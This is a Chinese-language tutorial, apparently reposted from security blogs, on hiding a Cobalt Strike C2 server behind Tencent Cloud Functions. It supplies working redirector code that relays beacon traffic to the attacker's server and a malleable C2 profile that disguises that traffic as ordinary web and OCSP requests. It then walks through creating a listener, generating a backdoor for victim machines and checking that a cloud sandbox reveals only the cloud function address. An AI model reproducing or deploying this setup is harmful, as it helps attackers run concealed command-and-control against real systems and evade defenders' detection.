使用雲函數隱藏C2服務器


介紹

這個技術最先是在今年的3月份國外提出的,他們利用 azure 對 C2 進行隱藏,國內也有相對應的 雲函數廠商,於是我們就嘗試使用雲函數對我們的 C2 服務器進行隱藏。

這個技術的核心原理是利用雲函數將我們的請求進行轉發(和一些使用第三方應用進行轉發是一樣的);C2客戶端發出的流量經過 雲函數的轉發,到達我們的C2服務器,達到隱藏的效果,並且因為雲函數的服務器是自帶 CDN 的,所以為我們的信息傳遞提供了加速的效果,但是轉發的途中有損耗,不能像直接連接那樣快,但是足夠讓我們感受到快樂了。(引自狼組團隊文章)

參考鏈接:

https://mp.weixin.qq.com/s/gfBE-HaUCgQw8L0QByqTDA (來源於WgpSec狼組安全團隊)

https://mp.weixin.qq.com/s/pqa-ce1Rdc0jKbdPUtsxyg

https://blog.csdn.net/god_zzZ/article/details/109057803 (這篇沒參考,網上搜到的,但是寫的很好,留存)

具體實現

文章中提到,要使用cs4.1版本,4.0不行,我平時用的就是4.1,所以沒有測試其他版本是否有問題。

如果要實現,建議先看下狼組安全的文章,里面有一些原理的部分,對實驗操作的理解有幫助。

文章最先演示了一遍雲函數的調用,我這邊就不演示了,只寫實現的部分。

創建雲函數

以2021年4月20日為例,因為我發現騰訊雲平台也會進行頁面的更新,頁面的內容會有變化。

登錄騰訊雲平台,訪問雲函數功能鏈接:https://console.cloud.tencent.com/scf/list?rid=8&ns=default。點擊新建,創建方式選擇自定義創建。函數名稱可以自定義進行設置,主要是函數代碼部分,將下面內容復制到函數代碼中:

# -*- coding: utf8 -*-
import json,requests,base64
def main_handler(event, context):
    C2='http://<C2服務器地址>' # 這里可以使用 HTTP、HTTPS~下角標~
    path=event['path']
    headers=event['headers']
    print(event)
    if event['httpMethod'] == 'GET' :
        resp=requests.get(C2+path,headers=headers,verify=False) 
    else:
        resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False)
        print(resp.headers)
        print(resp.content)
    
    response={
        "isBase64Encoded": True,
        "statusCode": resp.status_code,
        "headers": dict(resp.headers),
        "body": str(base64.b64encode(resp.content))[2:-1]
    }
    return response

C2的值填寫c2服務器地址就可以了,后面也不再需要增加:80:443,點擊完成后,雲端會部署函數。

創建完成。

選擇第二個功能:觸發管理,創建觸發器。觸發版本選擇$LATEST,觸發版本選擇API網關觸發,其余的就不需要動了,點擊提交

觸發器創建完成,點擊API服務名,進入到管理API頁面,在剛新建的API上,點擊編輯。在編輯API頁面中,將路徑改為/,點擊立即完成-發布服務即可。

服務端新增profile文件

將下面的文件內容復制下來,保存到x.profile文件中,注意后綴。放到team server服務端根目錄下,啟動時,加載該配置文件。

set sample_name "kris_abao";

set sleeptime "3000";
set jitter    "0";
set maxdns    "255";
set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)";

http-get {

    set uri "/api/getit";

    client {
        header "Accept" "*/*";
        metadata {
            base64;
            prepend "SESSIONID=";
            header "Cookie";
        }
    }

    server {
        header "Content-Type" "application/ocsp-response";
        header "content-transfer-encoding" "binary";
        header "Server" "Nodejs";
        output {
            base64;
            print;
        }
    }
}
http-stager {  
    set uri_x86 "/vue.min.js";
    set uri_x64 "/bootstrap-2.min.js";
}
http-post {
    set uri "/api/postit";
    client {
        header "Accept" "*/*";
        id {
            base64;
            prepend "JSESSION=";
            header "Cookie";
        }
        output {
            base64;
            print;
        }
    }

    server {
        header "Content-Type" "application/ocsp-response";
        header "content-transfer-encoding" "binary";
        header "Connection" "keep-alive";
        output {
            base64;
            print;
        }
    }
}

設置監聽器

管理API頁面中,點擊我們剛創建的APIid,進入到api的基本信息頁面,我們要使用的是默認訪問地址,用在cobalt strike創建監聽器時使用。創建監聽器時,我選擇的是http,然后在HTTP HostsHTTP Host(stager)填入之前復制的地址。(這里是否選擇http協議,根據你函數里的類型來選擇)

監聽器創建完成后,生成后門程序,在靶機運行既可上線。

雲查殺

使用微步雲沙箱對生成的后門文件進行查殺,只能解析出騰訊雲函數地址。

有意思的事,用微步雲沙箱跑完后,沙箱竟然上線了,哈哈,第一次碰到這個情況。

后記

在使用時發現一些坑點:

  1. 不能100%上線,會存在上線不了的情況,上線時調用雲函數會有失敗的情況。也有可能是我這邊的問題,大家可以自己試下。
  2. 使用win7和win10作為靶機時,上線成功率較高,但是2012一直沒有上線成功。
  3. 靶機上線后,源IP(內網IP不會變)會一只在變但是並不影響使用,命令可以照常執行。文章中給出的獲取當前主機的方式是使用curl命令。shell curl ident.me,前提是靶機得有類似的工具。

總結

這種方式也還行,命令執行的速度也還可以,不慢。這也是隱匿方式的一種吧。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM